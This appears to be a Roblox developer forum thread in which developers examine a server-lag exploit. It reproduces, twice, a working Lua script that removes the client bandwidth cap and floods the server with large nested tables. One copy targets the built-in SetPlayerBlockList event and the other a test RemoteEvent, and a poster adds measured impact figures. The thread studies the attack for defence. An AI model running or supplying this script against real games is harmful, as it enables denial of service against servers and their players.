You can fixate on an assumed problem all you like. The fact is that we don’t even know what the problem is because there is zero evidence of the issue so far. I’m only suggesting we gather evidence to actually come up with a good solution rather than spamming random “solutions” to an unknown problem. Don’t take it so personally. I’m just trying to help OP rather than distracting him from figuring out what the problem actually is.
Here’s the script, I didn’t get micro profiles however.
while wait(0.6) do --// don't change it's the best
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
local function getmaxvalue(val)
local mainvalueifonetable = 499999
if type(val) ~= "number" then
return nil
end
local calculateperfectval = (mainvalueifonetable/(val+2))
return calculateperfectval
end
local function bomb(tableincrease, tries)
local maintable = {}
local spammedtable = {}
table.insert(spammedtable, {})
z = spammedtable[1]
for i = 1, tableincrease do
local tableins = {}
table.insert(z, tableins)
z = tableins
end
local calculatemax = getmaxvalue(tableincrease)
local maximum
if calculatemax then
maximum = calculatemax
else
maximum = 999999
end
for i = 1, maximum do
table.insert(maintable, spammedtable)
end
for i = 1, tries do
game.RobloxReplicatedStorage.SetPlayerBlockList:FireServer(maintable)
end
end
bomb(250, 2) --// change values if client crashes.
end
I can’t find anything for server tracking of the amount of data sent.
It doesn’t bypass restrictions I tested now.
I ran this locally against a remote event in ReplicatedStorage with no server side handler it and does actually cause quite a bit of impact on server performance. I was seeing about ~160ms of server processing time to process these packets in a Local Server test in studio
Hard to say if the behavior is the same online, but this is something that can be performance on any remote, regardless of whether it has a server-side handler or not. I would imagine that if it did it would take event longer.
This was sending about 2MB/s of data to the server.
For context here is the script I ran via command bar on the client in an empty BasePlate with a RemoteEvent in ReplicatedStorage in a Local Server test.
while wait(0.6) do --// don't change it's the best
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
local function getmaxvalue(val)
local mainvalueifonetable = 499999
if type(val) ~= "number" then
return nil
end
local calculateperfectval = (mainvalueifonetable/(val+2))
return calculateperfectval
end
local function bomb(tableincrease, tries)
local maintable = {}
local spammedtable = {}
table.insert(spammedtable, {})
z = spammedtable[1]
for i = 1, tableincrease do
local tableins = {}
table.insert(z, tableins)
z = tableins
end
local calculatemax = getmaxvalue(tableincrease)
local maximum
if calculatemax then
maximum = calculatemax
else
maximum = 999999
end
for i = 1, maximum do
table.insert(maintable, spammedtable)
end
for i = 1, tries do
game.ReplicatedStorage.RemoteEvent:FireServer(maintable)
end
end
bomb(250, 2) --// change values if client crashes.
end
Obviously you could watch this remote event, but as OP is saying the issue is that the original exploit script manipulates RobloxReplicatedStorage.SetPlayerBlockList
which is inaccessible to developers.
Interesting, thanks for testing, I honestly think developers should have more control / access to the core events as otherwise it leads to situations like this.